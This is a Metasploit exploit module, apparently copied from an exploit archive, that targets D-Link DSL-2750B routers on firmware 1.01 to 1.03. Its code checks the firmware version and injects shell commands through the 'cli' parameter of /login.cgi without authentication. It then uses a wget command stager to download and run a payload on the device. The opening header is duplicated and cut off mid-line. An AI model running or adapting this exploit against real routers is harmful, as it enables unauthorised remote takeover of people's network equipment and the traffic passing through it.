D-Link DSL-2750B OS Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DSL-2750B OS Command Injection',
'Description' => %q(
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.
Vulnerability can be exploited through "cli" parameter that is directly used to invoke
"ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.
),
'Author' =>
[
'p@ql', # vulnerability discovery
'Marcin Bury <marcin[at]threat9.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['PACKETSTORM', 135706],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'],
['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/']
],
'Targets' =>
[
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
[
'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Feb 5 2016',
'DefaultTarget' => 0))

deregister_options('CMDSTAGER::FLAVOR')
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/ayefeaturesconvert.js'
)

unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end

unless res.code.to_i == 200 && res.body.include?('DSL-2750')
vprint_status('Remote host is not a DSL-2750')
return CheckCode::Safe
end

if res.body =~ /var AYECOM_FWVER="(d.d+)";/
version = Regexp.last_match[1]
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
if version >= "1.01" && version <= "1.03"
return Exploit::CheckCode::Appears
end
end

CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error('Connection failed')
return CheckCode::Unknown
end

def execute_command(cmd, _opts)
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
send_request_cgi(
{
'method' => 'GET',
'uri' => '/login.cgi',
'vars_get' => {
'cli' => "#{payload}$"
},
'encode_params' => false
},
5
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
end

def exploit
print_status("#{peer} Checking target version...")

unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

execute_cmdstager(
flavor: :wget,
linemax: 200
)
end
end